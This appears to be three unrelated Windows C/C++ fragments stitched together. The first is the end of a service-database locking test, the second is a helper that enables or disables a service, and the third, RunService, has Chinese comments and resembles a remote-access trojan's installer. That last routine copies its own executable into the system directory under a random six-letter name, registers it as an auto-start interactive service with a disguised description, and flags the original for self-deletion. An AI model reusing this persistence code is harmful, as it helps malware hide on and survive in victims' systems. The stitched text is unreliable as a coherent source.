"bError = %u, expected FALSE\n", bError); ok_err(ERROR_SERVICE_DATABASE_LOCKED); Sleep(1000); /* Wait 1 second for the service to start */ /* Stop the testing service */ ControlService(hSvc, SERVICE_CONTROL_STOP, &status); Sleep(1000); /* Wait 1 second for the service to stop */ /* Now unlock the services database */ SetLastError(0xdeadbeef); bError = UnlockServiceDatabase(hLock); ok(bError == TRUE, "bError = %u, expected TRUE\n", bError); ok_err(ERROR_SUCCESS); /* Try to start again the service, this time the database unlocked */ SetLastError(0xdeadbeef); bError = StartServiceW(hSvc, 0, NULL); ok(bError == TRUE, "bError = %u, expected TRUE\n", bError); ok_err(ERROR_SUCCESS); Sleep(1000); /* Wait 1 second for the service to start */ /* Stop the testing service */ ControlService(hSvc, SERVICE_CONTROL_STOP, &status); Sleep(1000); /* Wait 1 second for the service to stop */ /* Restore its original state */ if (bWasRunning) { StartServiceW(hSvc, 0, NULL); } if (dwOldStartType == SERVICE_DISABLED) { ChangeServiceConfigW(hSvc, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); } cleanup: if (hSvc) CloseServiceHandle(hSvc); if (hScm) CloseServiceHandle(hScm); return; }
HRESULT EnableService( LPCTSTR szSvcName, BOOL fDisable ) { CAutoServiceHandle m_schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); if(m_schSCManager==NULL) return E_POINTER; CAutoServiceHandle schService=NULL; SC_LOCK sclLock; LPQUERY_SERVICE_LOCK_STATUS lpqslsBuf; DWORD dwBytesNeeded, dwStartType; BOOL bSuccess=TRUE; // Need to acquire database lock before reconfiguring. sclLock = LockServiceDatabase(m_schSCManager); // If the database cannot be locked, report the details. if (sclLock == NULL) { // Exit if the database is not locked by another process. if (GetLastError() != ERROR_SERVICE_DATABASE_LOCKED) { DPRINT("Database lock failed (%d)\n", GetLastError()); return E_FAIL; } // Allocate a buffer to get details about the lock. lpqslsBuf = (LPQUERY_SERVICE_LOCK_STATUS) LocalAlloc( LPTR, sizeof(QUERY_SERVICE_LOCK_STATUS)+256); if (lpqslsBuf == NULL) { DPRINT("LocalAlloc failed (%d)\n", GetLastError()); return E_FAIL; } // Get and print the lock status information. if (!QueryServiceLockStatus( m_schSCManager, lpqslsBuf, sizeof(QUERY_SERVICE_LOCK_STATUS)+256, &dwBytesNeeded) ) { DPRINT("Query lock status failed (%d)", GetLastError()); return E_FAIL; } if (lpqslsBuf->fIsLocked) DPRINT("Locked by: %s, duration: %d seconds\n", lpqslsBuf->lpLockOwner, lpqslsBuf->dwLockDuration); else DPRINT("No longer locked\n"); LocalFree(lpqslsBuf); } // The database is locked, so it is safe to make changes. // Open a handle to the service. schService = OpenService( m_schSCManager, // SCManager database szSvcName, // name of service SERVICE_CHANGE_CONFIG); // need CHANGE access if (schService == NULL) { DPRINT("OpenService failed (%d)\n", GetLastError()); return E_FAIL; } dwStartType = (fDisable) ? SERVICE_DISABLED : SERVICE_DEMAND_START; // Make the changes. if (! ChangeServiceConfig( schService, // handle of service SERVICE_NO_CHANGE, // service type: no change dwStartType, // change service start type SERVICE_NO_CHANGE, // error control: no change NULL, // binary path: no change NULL, // load order group: no change NULL, // tag ID: no change NULL, // dependencies: no change NULL, // account name: no change NULL, // password: no change NULL) ) // display name: no change { DPRINT("ChangeServiceConfig failed (%d)\n", GetLastError()); bSuccess = FALSE; } else DPRINT("ChangeServiceConfig succeeded.\n"); // Release the database lock. UnlockServiceDatabase(sclLock); return bSuccess ? S_OK : E_FAIL; }
static void RunService(char *m_ServiceName,char *m_DisplayName,char *m_Description) { char FilePath[MAX_PATH]; GetModuleFileName(NULL,FilePath,MAX_PATH); char SystemPath[MAX_PATH]; GetSystemDirectory(SystemPath,MAX_PATH); if (strncmp(SystemPath,FilePath,strlen(SystemPath)) != 0) { char FileName[80]; wsprintf(FileName,"%c%c%c%c%c%c.exe",'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26));//随即发生一个文件名 strcat(SystemPath,"\\"); strcat(SystemPath,FileName); CopyFile(FilePath,SystemPath,FALSE); memset(FilePath,0,MAX_PATH); strcpy(FilePath,SystemPath); fDelete_Me = TRUE; } char Desc[MAX_PATH]; HKEY key=NULL; SC_HANDLE newService=NULL, scm=NULL; __try { scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS); if (!scm) __leave; newService = CreateService( scm, m_ServiceName, m_DisplayName, /*SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE,*/ SERVICE_ALL_ACCESS|SERVICE_CHANGE_CONFIG, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, FilePath,NULL, NULL, NULL, NULL, NULL); //锁定一下服务... SC_LOCK sc_lock=LockServiceDatabase(scm); SERVICE_DESCRIPTION Service_Descrip={&modify_data.Serdisplay[0]}; ChangeServiceConfig2(newService,SERVICE_CONFIG_DESCRIPTION,&Service_Descrip); UnlockServiceDatabase(sc_lock); if (newService == NULL) { if (GetLastError() == ERROR_SERVICE_EXISTS) { newService = OpenService(scm,m_ServiceName,SERVICE_ALL_ACCESS); if (newService==NULL) __leave; else StartService(newService,0, 0); } } if (!StartService(newService,0, 0)) __leave; strcpy(Desc,"SYSTEM\\CurrentControlSet\\Services\\"); strcat(Desc,m_ServiceName); RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key); RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)m_Description,lstrlen(m_Description)); } __finally { if (newService!=NULL) CloseServiceHandle(newService); if (scm!=NULL) CloseServiceHandle(scm); if (key!=NULL) RegCloseKey(key); } }